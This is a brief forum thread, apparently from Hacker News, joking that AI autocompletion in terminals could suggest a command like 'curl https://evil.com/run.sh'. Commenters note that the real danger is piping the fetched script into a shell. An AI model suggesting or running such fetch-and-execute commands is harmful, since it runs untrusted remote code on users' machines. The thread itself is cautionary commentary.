Waiting for the first terminal with AI autocompletion.

  $ curl http<tab>

  $ curl https://evil.com/run.sh

Then you’re just an enter away from causing havoc on your system.

▲ mgc8 3 hours ago | parent | next [-]

Well, technically it's not the curl itself that is the problem, but the "| <shell>" coming afterwards that does the damage. So, if the process is somehow broken up into 1) curl <the_script>; 2) analyse <the_script> and 3) only if safe, then execute <the_script> -- then it's not nearly as bad. Of course, that "analyse" step does all the heavy lifting, and if it happens to involve some form of local LLM then... excitement is guaranteed as they say.

▲ chmod775 3 hours ago | parent | prev [-]

Still missing the pipe into sh.

	▲	ares623 2 hours ago \| parent \| next [-]
		Good thing that isn't a popular pattern that would make its way into the training data!
	▲	sph 3 hours ago \| parent \| prev [-]
		Ah too late to edit. That is what I meant